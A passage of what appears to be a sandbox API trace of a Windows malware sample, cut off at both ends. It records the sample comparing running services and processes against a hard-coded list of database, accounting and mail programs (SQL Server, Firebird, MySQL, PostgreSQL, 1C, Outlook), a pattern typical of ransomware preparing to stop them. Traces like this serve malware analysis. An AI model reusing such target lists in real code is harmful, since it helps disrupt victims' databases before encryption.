(lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0116.027] lstrlenW (lpString="Dnscache") returned 8 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0116.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0116.027] lstrlenW (lpString="DPS") returned 3 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0116.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0116.027] lstrlenW (lpString="eventlog") returned 8 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0116.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0116.027] lstrlenW (lpString="EventSystem") returned 11 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0116.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0116.027] lstrlenW (lpString="gpsvc") returned 5 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0116.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0116.027] lstrlenW (lpString="iphlpsvc") returned 8 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0116.028] lstrlenW (lpString="LanmanServer") returned 12 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0116.028] lstrlenW (lpString="LanmanWorkstation") returned 17 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0116.028] lstrlenW (lpString="lmhosts") returned 7 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0116.028] lstrlenW (lpString="MMCSS") returned 5 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0116.028] lstrlenW (lpString="MpsSvc") returned 6 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0116.028] lstrlenW (lpString="Netman") returned 6 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0116.028] lstrlenW (lpString="netprofm") returned 8 [0116.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0116.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0116.028] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0116.028] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0116.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0116.029] lstrlenW (lpString="NlaSvc") returned 6 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0116.029] lstrlenW (lpString="nsi") returned 3 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0116.029] lstrlenW (lpString="PcaSvc") returned 6 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0116.029] lstrlenW (lpString="PlugPlay") returned 8 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0116.029] lstrlenW (lpString="Power") returned 5 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0116.029] lstrlenW (lpString="ProfSvc") returned 7 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0116.029] lstrlenW (lpString="RpcEptMapper") returned 12 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0116.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0116.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0116.029] lstrlenW (lpString="RpcSs") returned 5 [0116.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0116.030] lstrlenW (lpString="SamSs") returned 5 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0116.030] lstrlenW (lpString="Schedule") returned 8 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0116.030] lstrlenW (lpString="SENS") returned 4 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0116.030] lstrlenW (lpString="ShellHWDetection") returned 16 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0116.030] lstrlenW (lpString="Spooler") returned 7 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0116.030] lstrlenW (lpString="SysMain") returned 7 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0116.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0116.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0116.030] lstrlenW (lpString="Themes") returned 6 [0116.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0116.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0116.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0116.031] lstrlenW (lpString="TrkWks") returned 6 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0116.031] lstrlenW (lpString="UxSms") returned 5 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0116.031] lstrlenW (lpString="WdiServiceHost") returned 14 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0116.031] lstrlenW (lpString="WdiSystemHost") returned 13 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0116.031] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0116.031] lstrlenW (lpString="Winmgmt") returned 7 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0116.031] lstrlenW (lpString="WPDBusEnum") returned 10 [0116.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0116.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0116.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0116.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0116.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0116.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f280 | out: hHeap=0x4f0000) returned 1 [0116.032] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0116.033] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.033] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.034] lstrlenW (lpString="System") returned 6 [0116.034] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0116.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0116.034] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0116.034] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0116.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0116.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0116.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0116.034] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.034] lstrlenW (lpString="smss.exe") returned 8 [0116.034] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0116.034] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.034] lstrlenW (lpString="csrss.exe") returned 9 [0116.034] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0116.034] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0116.034] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0116.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0116.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0116.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0116.035] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.035] lstrlenW (lpString="wininit.exe") returned 11 [0116.035] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0116.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0116.035] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0116.035] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0116.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0116.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0116.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0116.035] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.035] lstrlenW (lpString="csrss.exe") returned 9 [0116.035] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0116.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0116.035] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0116.035] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0116.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0116.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0116.035] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.036] lstrlenW (lpString="winlogon.exe") returned 12 [0116.036] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.036] lstrlenW (lpString="services.exe") returned 12 [0116.036] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.036] lstrlenW (lpString="lsass.exe") returned 9 [0116.036] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.036] lstrlenW (lpString="lsm.exe") returned 7 [0116.036] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.037] lstrlenW (lpString="svchost.exe") returned 11 [0116.037] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.037] lstrlenW (lpString="svchost.exe") returned 11 [0116.037] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.037] lstrlenW (lpString="svchost.exe") returned 11 [0116.037] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.037] lstrlenW (lpString="svchost.exe") returned 11 [0116.037] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.038] lstrlenW (lpString="svchost.exe") returned 11 [0116.038] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.038] lstrlenW (lpString="audiodg.exe") returned 11 [0116.038] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.038] lstrlenW (lpString="svchost.exe") returned 11 [0116.038] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.038] lstrlenW (lpString="svchost.exe") returned 11 [0116.038] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0116.039] lstrlenW (lpString="userinit.exe") returned 12 [0116.039] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, 